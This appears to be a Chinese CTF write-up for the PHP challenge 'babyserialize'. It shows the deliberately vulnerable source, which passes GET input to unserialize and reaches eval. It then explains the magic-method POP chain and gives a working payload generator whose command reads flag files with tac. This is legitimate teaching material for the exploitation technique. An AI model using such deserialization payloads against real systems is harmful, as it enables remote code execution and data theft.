babyserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| <?php include "waf.php"; class NISA{ public $fun="show_me_flag"; public $txw4ever; public function __wakeup() { if($this->fun=="show_me_flag"){ hint(); } }
function __call($from,$val){ $this->fun=$val[0]; }
public function __toString() { echo $this->fun; return " "; } public function __invoke() { checkcheck($this->txw4ever); @eval($this->txw4ever); } }
class TianXiWei{ public $ext; public $x; public function __wakeup() { $this->ext->nisa($this->x); } }
class Ilovetxw{ public $huang; public $su;
public function __call($fun1,$arg){ $this->huang->fun=$arg[0]; }
public function __toString(){ $bb = $this->su; return $bb(); } }
class four{ public $a="TXW4EVER"; private $fun='abc';
public function __set($name, $value) { $this->$name=$value; if ($this->fun = "sixsixsix"){ strtolower($this->a); } } }
if(isset($_GET['ser'])){ @unserialize($_GET['ser']); }else{ highlight_file(__FILE__); }
?>
|
解题思路反推
1.看到很多类想要里面有很多魔法函数,还有eval函数,eval函数里面变量是可控的
一看大概率是有远程代码注入RCE
eval函数在__invoke()函数里面
__invoke魔术方法是对象被当做函数进行调用的时候所触发
2.从__invoke 反推到Ilovetxw类里面的 _toString 魔法函数
1 2 3 4 5
| $bb = $this->su; return $bb(); 将su属性的值赋给$bb; 然后将$bb作为函数调用
|
__toString方法,是对象被当做字符串的时候进行自动调用
3.从__toString函数反推到four类里面的 _set()魔法函数
1 2 3 4
| if ($this->fun = "sixsixsix"){ strtolower($this->a); } strtolower是将字符串里面的大写字母全部换成小写字母
|
__set:对不存在或者不可访问的变量进行赋值就自动调用
4.从set()魔法函数反推到Ilovetxw类中的call()魔法函数
因为
1 2 3 4
| public function __call($fun1,$arg){ $this->huang->fun=$arg[0]; } Ilovetxw这个类中并没有fun这个变量
|
__call:对不存在的方法或者不可访问的方法进行调用就自动调用
5.从call()函数反推到TianXiWei类中的_wakeup()函数
因为
1 2 3 4 5
| public function __wakeup() { $this->ext->nisa($this->x); } 但是这个类并没有nisa这个方法,所以会引起call()函数的调用
|
6.wakeup()函数在调用反序列化时会自动调用
整体流程(倒推)
1 2 3 4 5
| class NISA -> __invoke() class Ilovetxw->__toString() class four ->__set() class Ilovetxw->__call() class TianXiWei->__wakeup()
|
因为解题思路都是倒推得到的所以我们在写payload时需要倒着来
1 2 3 4 5
| $a=new TianXiWei(); $a->ext=new Ilovetxw(); $a->ext->huang=new four(); $a->ext->huang->a=new Ilovetxw(); $a->ext->huang->a->su=new NISA();
|
eval函数里面的代码是可控的查询语句
生成payload的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php class NISA{ public $fun; public $txw4ever='SYSTEM("tac /f*");'; }
class TianXiWei{ public $ext; public $x; }
class Ilovetxw{ public $huang; public $su;
}
class four{ public $a="TXW4EVER"; private $fun='abc';
}
$a=new TianXiWei(); $a->ext=new Ilovetxw(); $a->ext->huang=new four(); $a->ext->huang->a=new Ilovetxw(); $a->ext->huang->a->su=new NISA(); echo urlencode(serialize($a));
?>
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~